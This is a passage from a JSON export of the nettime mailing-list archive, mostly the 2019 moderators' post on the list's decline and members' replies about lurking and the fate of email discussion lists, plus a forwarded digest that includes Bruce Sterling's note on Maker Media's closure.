nettime \n 3958\t####################################################################################################################################################################### Nettime \n\n\nthe last three lines are an ode to chmod\n\nciao\n\n\n-- \nDenis Roio aka Jaromil   http://Dyne.org think &do tank\n  CTO and co-founder      free/open source developer\n\u00e5\u00e5  6113 D89C A825 C5CE DD02 C872 73B3 5DA5 4ACB 7D10\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org",
                        "id": "00022",
                        "date": "Sat, 7 Nov 2015 13:26:17 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "c18d7f8438e565f3ac029e59791461be {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1511/msg00022.html",
                        "content-type": "text/plai",
                        "author_name": "Jaromil",
                        "subject": "Re: <nettime> choose-your-own adventure: a brief history of nettim"
                    },
                    {
                        "from": "Newmedia {AT} aol.c",
                        "content": "Dear Nettimers:  \n\n\"McLuhanite technological determinism\" . . . !!\n\nAs maybe the only person from the Wall Street \"wing\" of the technology  \nindustry (with at least one confirmed *weird* \"assignment\" from the CIA) to \never  participate in nettime -- starting with that late-night phone-call from \nDiana  asking me to \"keynote\" MetaForum III (in Oct 1996), guessing that I  \nwas the \"anti-Barlow\" --  I resemble that remark.\n\nhttp://www.pcmag.com/article2/0,2817,1265585,00.asp\n \nPerhaps some of my friends on the list would be interested to hear  that \nI've started a strategic research Center, partnering with a retired  Naval \nintelligence officer and many others, to consider how *digital*  technology \nchanges civilizations -- starting with China (which I first  visited shortly \nafter going to Budapest).\n \n_www.digitallife.center_ (http://www.digitallife.center/) \n \nThanks for *all* of your help along the way, I really couldn't have done it \n without you . . . <g>\n \nMark Stahlman\nJersey City Heights\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00031",
                        "date": "Mon, 9 Nov 2015 09:15:49 -0500",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "6ff24a7d964968f00bceafd0287aa955 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1511/msg00031.html",
                        "content-type": "text/plai",
                        "author_name": "Newmedia",
                        "subject": "Re: <nettime> choose-your-own adventure: a brief history of nettim"
                    }
                ],
                "message-id": "e0dcd031fe087aef8941f4e3c5dbb703 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Sun, 1 Nov 2015 16:24:30 +0100",
                "content-type": "text/plai"
            },
            {
                "id": "00009",
                "content": "Nettime is in bad shape, don't you think?\n\nIt has still a lot of goodwill, and more generally there's renewed\ninterest in formats of exchange and collective thinking that\naren't defined by the logic of social media. But the dynamics that\nsocial media companies exploit are hardly limited to a handful of\nplatforms. For example, nettime has its own 'influencers' -- a 1%,\nso to speak -- who generate the vast majority of list traffic.\nThat's been true for years. The discussions they sustain may\nvariously seem interesting or annoying, but either way they've\nbecome somewhat formulaic. An attentive reader knows more or less\nwhat to expect based solely the subject and the sender; and even\nmeta-discussions about whether the list is dominated or by this or\nthat tendency are largely dominated by the same few people.\n\nSome might argue the debates that have animated nettime over the\nlast year -- the trajectories of postwar society, neoliberalism,\nthe 'digital,' complexity, surveillance and big tech, Brexit,\nmedia and elections, Assange, even the Anthropocene in all its\nterrifying inclusiveness -- are the defining issues of the day.\nMaybe so. But if the nettime project had settled for a consensus\nmodel of the defining issues of the mid-'90s, it would never have\ngotten off the ground, and it certainly wouldn't exist almost 25\nyears later. The challenge, we think, is to maintain a space that\nattracts ill-defined ideas and uncertain issues -- things and\nnot-things that don't quite exist yet and yet haven't been buried\nunder torrents of authority and theory.\n\nSo, what can we do?\n\nIn the past, we've asked people to think about outreach -- say,\ninviting new people from new contexts. It seems like that's had\nlimited success; but at a time when nettime has been limping\nalong, it's hard to get excited about inviting people to join an\nenvironment so heavily defined by habit. We've also joked that\nshutting it down before it fades into complete senescence might be\nbest. But that joke wasn't really funny, in part because it wasn't\nmeant to be: it was a way of expressing serious concerns about the\nlist's increasingly parochial status.\n\nNow, we have a simple proposal: let's switch roles.\n\nIt goes like this:\n\nIf you've posted more than others to the list in the last 60 or 90\nor 120 or 180 days -- the math matters less than the spirit -- take\na break. Let others define nettime, a space made up of nearly 5000\nsubscribers.\n\nIf you haven't posted to the list -- say, because it seemed like\nyour ideas, concerns, or whatever you want to share wouldn't fit\nwith nettime's habits -- maybe that will change.\n\nThink of it as an un-grand experiment: a way to see what else\nmight happen, who else might speak, what less familiar ideas,\nperspectives, or styles might spring up. Maybe the list will fade\ninto silence, and we'll be left with a paradoxical object, a list\ncomposed *entirely* of lurkers -- not such a bad non-end for\nnettime. Or maybe not. There might be many ways to find out. For\nnow, rather than the 1% debating how narrowly to define good\nmanners, let's see if a different 'we' can change things.\n\n\n-- the mod squad (Ted and Felix)\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                "to": "nettime-l@kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00009.html",
                "list": "nettime_l",
                "author_name": "nettime mod squad",
                "subject": "<nettime> Nettime is in bad shape. Let's see if we can change it.",
                "from": "nettime mod squad <nettime@kein.org>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "from": "voyd@voyd.c",
                                "content": "Thanks, Sean and all for these salient replies.\nI have often been active here, but had been offline more than I like related to living in Arabia; some things you'd imagine, others not. More than anything else, I have been creating a VR research center and doing a snowstorm of paperwork. My intentions are to be here more, as my research is revving up again.\n\nI value Nettime a great deal in that it remains one of the places where a high concentration of fine minds, whether they pop in or out like virtual particles int he cyber-aether, usually pop out clear thought.\n\nAnother thing is that for the past three years, I have been traveling into Central Asia, Married an Iranian, coming to know the Eastern Hemisphere, and seeing what Geert Lovink and I had long discussions on here in Abu Dhabi relating the slide of Krokerian Bimodernism to American global colonial war capitalism under the Plan for the New American Century to the collapse into spheres of influence with the rise of Trump.\n\n Actually a lot more than this, but the flood of understanding has taken a while to coalesce.\n\nLooking forward to more conversation.\n\n\nOn Sat, 8 Jun 2019 15:21:58 +0000, Sean Cubitt  wrote:\n\n\n\n\nI've been active long ago, and lurking for a decade or more, with only sporadic comments and adds: this look like a good prod to get us silent majority out of the closet.\n\n\n\n\n\nthe thing that keeps nettime valuable is a) the contributors,\n\ntimeliness, and\n\nswift smart dialogues and b) that there still seems to be a common purpose.\n\n\n\n\n\n\n\nsocial media start taking the forefront about ten years ago. The neo-populist right begins to replace the neo-liberal right about ten years ago. Is there some shared diagram?\n\n\n\n\n\n\n\nOther lists died for their own reasons: one because it seemed like everything interesting was on blogs, back when the blogosphere was a thing. Another because a concept / art movement / political trajectory could be exhausted so fast it scarcely seemed worth inventing new concepts etc.\n\n\n\n\n\n\n\nMailing lists are asynchronous, which is great: more time to think; less kudos for fast reaction times. More consideration in every sense of the word\n\n\n\n\n\nin a few days I'll try to post something closer than this reflection on the medium to what I think this list is for: the aesthetics,\n\npolitics and\n\naesthetic\n\npolitics of the early C21st --\n\nconsideration, wonder and hope\n\n\n\n\n\n\n\nSean\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: nettime-l-bounces@mail.kein.org <nettime-l-bounces@mail.kein.org> on behalf of nettime-l-request@mail.kein.org <nettime-l-request@mail.kein.org>\nSent: 08 June 2019 15:45\nTo: nettime-l@mail.kein.org\nSubject: nettime-l Digest, Vol 141, Issue 11\n\n\n\n\n\n\n\nSend nettime-l mailing list submissions to\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n nettime-l@mail.kein.org\n\nTo subscribe or unsubscribe via the World Wide Web, visit\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  http://mx.kein.org/mailman/listinfo/nettime-l \n\n\n\n\t\n\t\t\n\t\t\t\n\t\t\t\n\n\n\n\t\t\tnettime-l Info Page - mx.kein.org\n\n\t\t\tmx.kein.org\n\n\t\t\t-- a moderated mailing list for net criticism <nettime> is not just a mailing list but an effort to formulate an international, networked discourse that neither promotes a dominant euphoria (to sell products) nor continues the cynical pessimism, spread by journalists and intellectuals in the 'old' media who generalize about 'new' media with no clear understanding of their communication aspects ...\n\t\t\t\n\t\t\n\t\n\n\n\n\nor, via email, send a message with subject or body 'help' to\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n nettime-l-request@mail.kein.org\n\nYou can reach the person managing the list at\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n nettime-l-owner@mail.kein.org\n\nWhen replying, please edit your Subject line so it is more specific\nthan \"Re: Contents of nettime-l digest...\"\n\n\nToday's Topics:\n\n\n\n\n\n 1. Re: Nettime is in bad shape. Let's see if we can change\n\n\n\n it.\n\n\n\n\n\n\n\n\n\n\n (John Preston)\n\n\n\n\n 2. The Maker Movement is abandoned by its corporate sponsors;\n\n\n\n\n\n\n\n\n\n\n throws in the towel (Bruce Sterling)\n\n\n\n\n 3. Re: Nettime is in bad shape. Let's see if we can change\n\n\n\n it.\n\n\n\n\n\n\n\n\n\n\n (John Preston)\n\n\n----------------------------------------------------------------------\n\nMessage: 1\nDate: Sat, 08 Jun 2019 15:06:56 +0100\nFrom: John Preston <wcerfgba@riseup.net>\nTo: nettime-l@mail.kein.org\nSubject: Re: <nettime> Nettime is in bad shape. Let's see if we can\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n change\n\n it.\nMessage-ID: <07A59428-BF8F-419B-841A-EA06BDDB2B98@riseup.net>\nContent-Type: text/plain; charset=\"utf-8\"\n\nJust forwarding this up.\n\n\n-------- Original Message --------\nFrom: Karim Brohi <karim@trauma.org>\nSent: 8 June 2019 14:35:45 BST\nTo: John Preston <wcerfgba@riseup.net>\nSubject: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n\nNettime is in bad shape - as are most (all?) of the email based discussion\ngroups on the Interwebs now.\nI run another mailing list, started in 1995 in a medical specialty area- -\nwhich finds itself in the same state.\n\n Back then email was cool.\n\n Now, for\nmost, email tends to be a flood of work stuff and a pseudo todo list.\nDrafting an email is now work, and not associated with pleasure or pure\nintellectual pursuit.\n\nBut there's no other suitable medium either.\n\n Social media platforms are\ntoo brief to develop ideas.\n\n Too easy to fire back \"your idea is stupid\".\nBlog posts and newsletters are too one-sided.\n\n Developed/owned by a\nspecific individual/group of individuals, Comments never have the same\nprecedence as the original post.\n\n The post 'belongs' to the originator, not\nto the community.\n\nMaybe usenet/google groups comes close, but nobody uses them - perhaps\nbecause there's no (effective) 'app for that', and there has to be an\nactive process of logging in.\n\n (Email alerts end up in... email).\n\nIn brief - I think it's the medium not the message.\n\n The whole Internet\nneeds a new medium that encourages long-form discourse and thereby deep\ncommunity.\n\n That was email, but now it isn't email.\n\n I don't know what\n\n is\nnow.\n\nKarim\n\n\n\n\n\nOn Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote:\n\n> Just adding my two cents, as per the call. :)\n>\n> I only discovered nettime in the last few months. I'm a computer-child,\n> I've grown up on the net, and one of the people who now take a more\n> conservative or critical approach to tech. I came here because I am trying\n> to develop as an artist, working with the net as a medium and reflecting\n> critically on the net and its constituent parts. I don't post in to every\n> thread because a lot of the time I don't have anything worthwhile to add,\n> but I appreciate reading: most of the contributions on this list are really\n> insightful.\n>\n> The fact that people are posting meta threads like this is a good sign to\n> me, I appreciate a community that can take a critical view of itself. If\n> nettime does rap up, let me know where you all go, I'd like to talk more. :)\n>\n> John\n>\n> On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote:\n>>\n>> Nettime is in bad shape, don't you think?\n>>\n>> It has still a lot of goodwill, and more generally there's renewed\n>> interest in formats of exchange and collective thinking that\n>> aren't defined by the logic of social media. But the dynamics that\n>> social media companies exploit are hardly limited to a handful of\n>> platforms. For example, nettime has its own 'influencers' -- a 1%,\n>> so to speak -- who generate the vast majority of list traffic.\n>> That's been true for years. The discussions they sustain may\n>> variously seem interesting or annoying, but either way they've\n>> become somewhat formulaic. An attentive reader knows more or less\n>> what to expect based solely the subject and the sender; and even\n>> meta-discussions about whether the list is dominated or by this or\n>> that tendency are largely dominated by the same few people.\n>>\n>> Some might argue the debates that have animated nettime over the\n>> last year -- the trajectories of postwar society, neoliberalism,\n>> the 'digital,' complexity, surveillance and big tech, Brexit,\n>> media and elections, Assange, even the Anthropocene in all its\n>> terrifying inclusiveness -- are the defining issues of the day.\n>> Maybe so. But if the nettime project had settled for a consensus\n>> model of the defining issues of the mid-'90s, it would never have\n>> gotten off the ground, and it certainly wouldn't exist almost 25\n>> years later. The challenge, we think, is to maintain a space that\n>> attracts ill-defined ideas and uncertain issues -- things and\n>> not-things that don't quite exist yet and yet haven't been buried\n>> under torrents of authority and theory.\n>>\n>> So, what can we do?\n>>\n>> In the past, we've asked people to think about outreach -- say,\n>> inviting new people from new contexts. It seems like that's had\n>> limited success; but at a time when nettime has been limping\n>> along, it's hard to get excited about inviting people to join an\n>> environment so heavily defined by habit. We've also joked that\n>> shutting it down before it fades into complete senescence might be\n>> best. But that joke wasn't really funny, in part because it wasn't\n>> meant to be: it was a way of expressing serious concerns about the\n>> list's increasingly parochial status.\n>>\n>> Now, we have a simple proposal: let's switch roles.\n>>\n>> It goes like this:\n>>\n>> If you've posted more than others to the list in the last 60 or 90\n>> or 120 or 180 days -- the math matters less than the spirit -- take\n>> a break. Let others define nettime, a space made up of nearly 5000\n>> subscribers.\n>>\n>> If you haven't posted to the list -- say, because it seemed like\n>> your ideas, concerns, or whatever you want to share wouldn't fit\n>> with nettime's habits -- maybe that will change.\n>>\n>> Think of it as an un-grand experiment: a way to see what else\n>> might happen, who else might speak, what less familiar ideas,\n>> perspectives, or styles might spring up. Maybe the list will fade\n>> into silence, and we'll be left with a paradoxical object, a list\n>> composed *entirely* of lurkers -- not such a bad non-end for\n>> nettime. Or maybe not. There might be many ways to find out. For\n>> now, rather than the 1% debating how narrowly to define good\n>> manners, let's see if a different 'we' can change things.\n>>\n>>\n>> -- the mod squad (Ted and Felix)\n>>\n>> #\n\n distributed via <nettime>: no commercial use without permission\n>> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n>> #\n\n collaborative text filtering and cultural politics of the nets\n>> #\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n>> #\n\n archive:  http://www.nettime.org contact: nettime@kein.org\n>> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n>>\n>> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive:  http://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://mx.kein.org/pipermail/nettime-l/attachments/20190608/490390ed/attachment-0001.html>\n\n------------------------------\n\nMessage: 2\nDate: Sat, 8 Jun 2019 16:21:37 +0200\nFrom: Bruce Sterling <bruces@well.com>\nTo: nettime-l@kein.org\nSubject: <nettime> The Maker Movement is abandoned by its corporate\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n sponsors; throws in the towel\nMessage-ID: <A342CE24-4F26-441E-BDBE-38F833458B29@well.com>\nContent-Type: text/plain;\n\n\n\n\n\n\n\n\n\n\n\n charset=utf-8\n\n*Well, so much for the O?Reilly Web 2.0 version of popular mechanics.\n\n Fifteen years is not too bad a run by the standards of an increasingly jittery California Ideology.\n\n Now what? ? Bruce S\n\n\nMaker Media goes broke\nhttps://hackaday.com/2019/06/07/maker-media-ceases-operations/\n\nOver the years we?ve had the dubious honor of bidding farewell to numerous companies that held a special place in the hearts of hackers and makers. We?ve borne witness to the demise of Radio Shack, TechShop, and PrintrBot, and even shed a tear or two when Toys ?R? Us shut their doors. But as much as it hurt to see those companies go, nothing quite compares to this. Today we?ve learned that Maker Media has ceased operations.\n\nBetween the first issue of Make magazine in 2005 and the inaugural Maker Faire a year later, Maker Media deftly cultured the public face of the ?maker movement? for over a decade. They didn?t create maker culture, but there?s no question that they put a spotlight on this part of the larger tech world. In fact, it?s not an exaggeration to say that the shuttering of Maker Media could have far reaching consequences that we won?t fully understand for years.\n\nWhile this news will surely come as a crushing blow to many in the community, Maker Media founder and CEO Dale Dougherty says they?re still trying to put the pieces together. ?I started the magazine and I?m committed to keeping that going because it means something to a lot of people and means something to me.? At this point, Dale tells us that Maker Media is officially in a state of insolvency. This is an important distinction, and means that the company still has a chance to right the ship before being forced to declare outright bankruptcy.\n\nIn layman?s terms, the fate of Make magazine and Maker Faire is currently uncertain?\n\n***\n\nhttps://techcrunch.com/2019/06/07/make-magazine-maker-media-layoffs/\n\nFinancial troubles have forced Maker Media, the company behind crafting publication MAKE: magazine as well as the science and art festival Maker Faire, to lay off its entire staff of 22 and pause all operations. TechCrunch was tipped off to Maker Media?s unfortunate situation which was then confirmed by the company?s founder and CEO Dale Dougherty.\n\nFor 15 years, MAKE: guided adults and children through step-by-step do-it-yourself crafting and science projects, and it was central to the maker movement. Since 2006, Maker Faire?s 200 owned and licensed events per year in over 40 countries let attendees wander amidst giant, inspiring art and engineering installations?.\n\n?Maker Media Inc ceased operations this week and let go of all of its employees ? about 22 employees? Dougherty tells TechCrunch. ?I started this 15 years ago and it?s always been a struggle as a business to make this work. Print publishing is not a great business for anybody, but it works?barely. Events are hard ? there was a drop off in corporate sponsorship.? Microsoft and Autodesk failed to sponsor this year?s flagship Bay Area Maker Faire?.\n\n\n\n------------------------------\n\nMessage: 3\nDate: Sat, 08 Jun 2019 07:45:08 -0700\nFrom: John Preston <wcerfgba@riseup.net>\nTo: nettime-l@mail.kein.org\nSubject: Re: <nettime> Nettime is in bad shape. Let's see if we can\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n change\n\n it.\nMessage-ID: <f8f8006bb46447a36e1e1a7d5171fbda@riseup.net>\nContent-Type: text/plain; charset=US-ASCII\n\nEach medium of communication has a different quality and bandwidth about\nit, and we can use a multitude of media -- nettime doesn't have to be\n/just/ a mailing list. Some of us might be better able to contribute via\nIRC or other more real-time media.\n\nJohn\n\nOn 2019-06-08 15:06, John Preston wrote:\n\n> Just forwarding this up.\n>\n> -------------------------\n> FROM: Karim Brohi <karim@trauma.org>\n> SENT: 8 June 2019 14:35:45 BST\n> TO: John Preston <wcerfgba@riseup.net>\n> SUBJECT: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n>\n> Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now.\n> I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.\n\n Back then email was cool.\n\n Now, for most, email tends to be a flood of work stuff and a pseudo todo list.\n\n Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit.\n>\n> But there's no other suitable medium either.\n\n Social media platforms are too brief to develop ideas.\n\n Too easy to fire back \"your idea is stupid\".\n\n Blog posts and newsletters are too one-sided.\n\n Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.\n\n The post 'belongs' to the originator, not to the community.\n>\n> Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.\n\n (Email alerts end up in... email).\n>\n> In brief - I think it's the medium not the message.\n\n The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.\n\n That was email, but now it isn't email.\n\n I don't know what\n\n is now.\n>\n> Karim\n>\n> On Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote:\n> Just adding my two cents, as per the call. :)\n>\n> I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I came here because I am trying to develop as an artist, working with the net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful.\n>\n> The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :)\n>\n> John\n>\n> On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote:\n>\n> Nettime is in bad shape, don't you think?\n>\n> It has still a lot of goodwill, and more generally there's renewed\n> interest in formats of exchange and collective thinking that\n> aren't defined by the logic of social media. But the dynamics that\n> social media companies exploit are hardly limited to a handful of\n> platforms. For example, nettime has its own 'influencers' -- a 1%,\n> so to speak -- who generate the vast majority of list traffic.\n> That's been true for years. The discussions they sustain may\n> variously seem interesting or annoying, but either way they've\n> become somewhat formulaic. An attentive reader knows more or less\n> what to expect based solely the subject and the sender; and even\n> meta-discussions about whether the list is dominated or by this or\n> that tendency are largely dominated by the same few people.\n>\n> Some might argue the debates that have animated nettime over the\n> last year -- the trajectories of postwar society, neoliberalism,\n> the 'digital,' complexity, surveillance and big tech, Brexit,\n> media and elections, Assange, even the Anthropocene in all its\n> terrifying inclusiveness -- are the defining issues of the day.\n> Maybe so. But if the nettime project had settled for a consensus\n> model of the defining issues of the mid-'90s, it would never have\n> gotten off the ground, and it certainly wouldn't exist almost 25\n> years later. The challenge, we think, is to maintain a space that\n> attracts ill-defined ideas and uncertain issues -- things and\n> not-things that don't quite exist yet and yet haven't been buried\n> under torrents of authority and theory.\n>\n> So, what can we do?\n>\n> In the past, we've asked people to think about outreach -- say,\n> inviting new people from new contexts. It seems like that's had\n> limited success; but at a time when nettime has been limping\n> along, it's hard to get excited about inviting people to join an\n> environment so heavily defined by habit. We've also joked that\n> shutting it down before it fades into complete senescence might be\n> best. But that joke wasn't really funny, in part because it wasn't\n> meant to be: it was a way of expressing serious concerns about the\n> list's increasingly parochial status.\n>\n> Now, we have a simple proposal: let's switch roles.\n>\n> It goes like this:\n>\n> If you've posted more than others to the list in the last 60 or 90\n> or 120 or 180 days -- the math matters less than the spirit -- take\n> a break. Let others define nettime, a space made up of nearly 5000\n> subscribers.\n>\n> If you haven't posted to the list -- say, because it seemed like\n> your ideas, concerns, or whatever you want to share wouldn't fit\n> with nettime's habits -- maybe that will change.\n>\n> Think of it as an un-grand experiment: a way to see what else\n> might happen, who else might speak, what less familiar ideas,\n> perspectives, or styles might spring up. Maybe the list will fade\n> into silence, and we'll be left with a paradoxical object, a list\n> composed *entirely* of lurkers -- not such a bad non-end for\n> nettime. Or maybe not. There might be many ways to find out. For\n> now, rather than the 1% debating how narrowly to define good\n> manners, let's see if a different 'we' can change things.\n>\n> -- the mod squad (Ted and Felix)\n>\n> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive:  http://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive:  http://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive:  http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n------------------------------\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info:  http://mx.kein.org/mailman/listinfo/nettime-l\n\nEnd of nettime-l Digest, Vol 141, Issue 11\n******************************************\n\n\n\n# distributed via : no commercial use without permission\n#  is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00023",
                                "date": "Sun, 09 Jun 2019 12:47:10 -0400",
                                "to": "nettime-l@mail.kein.org",
                                "message-id": "1560098830.vqwx9ks2884g40c0@hostingemail.digitalspace.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00023.html",
                                "content-type": "multipart/mixed",
                                "author_name": "voyd",
                                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                            },
                            {
                                "from": "Jordan Crandall <dionyso@me.com>",
                                "content": "Like Sean I\u2019ve been active long ago, lurking for a decade or more.  It\u2019s good to be prodded to contribute.  I thought of jumping in during some of the recent discussions, notably the \u2018Rage against the machine\u2019 thread, but unsure about how my writing will fit in, as I have been writing fiction these days and thinking in narrative terms.  It is difficult to see how it could work in the context of this kind of discussion.  Perhaps I will try.  Best to all.  Jordan\n\n\n> On Jun 8, 2019, at 8:21 AM, Sean Cubitt <s.cubitt@gold.ac.uk> wrote:\n> \n> I've been active long ago, and lurking for a decade or more, with only sporadic comments and adds: this look like a good prod to get us silent majority out of the closet.\n> \n> the thing that keeps nettime valuable is a) the contributors, timeliness, and swift smart dialogues and b) that there still seems to be a common purpose. \n> \n> social media start taking the forefront about ten years ago. The neo-populist right begins to replace the neo-liberal right about ten years ago. Is there some shared diagram? \n> \n> Other lists died for their own reasons: one because it seemed like everything interesting was on blogs, back when the blogosphere was a thing. Another because a concept / art movement / political trajectory could be exhausted so fast it scarcely seemed worth inventing new concepts etc. \n> \n> Mailing lists are asynchronous, which is great: more time to think; less kudos for fast reaction times. More consideration in every sense of the word\n> \n> in a few days I'll try to post something closer than this reflection on the medium to what I think this list is for: the aesthetics, politics and aesthetic politics of the early C21st -- consideration, wonder and hope\n> \n> Sean\n> \n> \n> From: nettime-l-bounces@mail.kein.org <nettime-l-bounces@mail.kein.org> on behalf of nettime-l-request@mail.kein.org <nettime-l-request@mail.kein.org>\n> Sent: 08 June 2019 15:45\n> To: nettime-l@mail.kein.org\n> Subject: nettime-l Digest, Vol 141, Issue 11\n>  \n> Send nettime-l mailing list submissions to\n>         nettime-l@mail.kein.org\n> \n> To subscribe or unsubscribe via the World Wide Web, visit\n>         http://mx.kein.org/mailman/listinfo/nettime-l\n> nettime-l Info Page - mx.kein.org\n> mx.kein.org\n> -- a moderated mailing list for net criticism <nettime> is not just a mailing list but an effort to formulate an international, networked discourse that neither promotes a dominant euphoria (to sell products) nor continues the cynical pessimism, spread by journalists and intellectuals in the 'old' media who generalize about 'new' media with no clear understanding of their communication aspects ...\n> \n> \n> or, via email, send a message with subject or body 'help' to\n>         nettime-l-request@mail.kein.org\n> \n> You can reach the person managing the list at\n>         nettime-l-owner@mail.kein.org\n> \n> When replying, please edit your Subject line so it is more specific\n> than \"Re: Contents of nettime-l digest...\"\n> \n> \n> Today's Topics:\n> \n>    1. Re: Nettime is in bad shape. Let's see if we can change   it.\n>       (John Preston)\n>    2. The Maker Movement is abandoned by its corporate sponsors;\n>       throws in the towel (Bruce Sterling)\n>    3. Re: Nettime is in bad shape. Let's see if we can change   it.\n>       (John Preston)\n> \n> \n> ----------------------------------------------------------------------\n> \n> Message: 1\n> Date: Sat, 08 Jun 2019 15:06:56 +0100\n> From: John Preston <wcerfgba@riseup.net>\n> To: nettime-l@mail.kein.org\n> Subject: Re: <nettime> Nettime is in bad shape. Let's see if we can\n>         change  it.\n> Message-ID: <07A59428-BF8F-419B-841A-EA06BDDB2B98@riseup.net>\n> Content-Type: text/plain; charset=\"utf-8\"\n> \n> Just forwarding this up.\n> \n> \n> -------- Original Message --------\n> From: Karim Brohi <karim@trauma.org>\n> Sent: 8 June 2019 14:35:45 BST\n> To: John Preston <wcerfgba@riseup.net>\n> Subject: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n> \n> Nettime is in bad shape - as are most (all?) of the email based discussion\n> groups on the Interwebs now.\n> I run another mailing list, started in 1995 in a medical specialty area- -\n> which finds itself in the same state.  Back then email was cool.  Now, for\n> most, email tends to be a flood of work stuff and a pseudo todo list.\n> Drafting an email is now work, and not associated with pleasure or pure\n> intellectual pursuit.\n> \n> But there's no other suitable medium either.  Social media platforms are\n> too brief to develop ideas.  Too easy to fire back \"your idea is stupid\".\n> Blog posts and newsletters are too one-sided.  Developed/owned by a\n> specific individual/group of individuals, Comments never have the same\n> precedence as the original post.  The post 'belongs' to the originator, not\n> to the community.\n> \n> Maybe usenet/google groups comes close, but nobody uses them - perhaps\n> because there's no (effective) 'app for that', and there has to be an\n> active process of logging in.  (Email alerts end up in... email).\n> \n> In brief - I think it's the medium not the message.  The whole Internet\n> needs a new medium that encourages long-form discourse and thereby 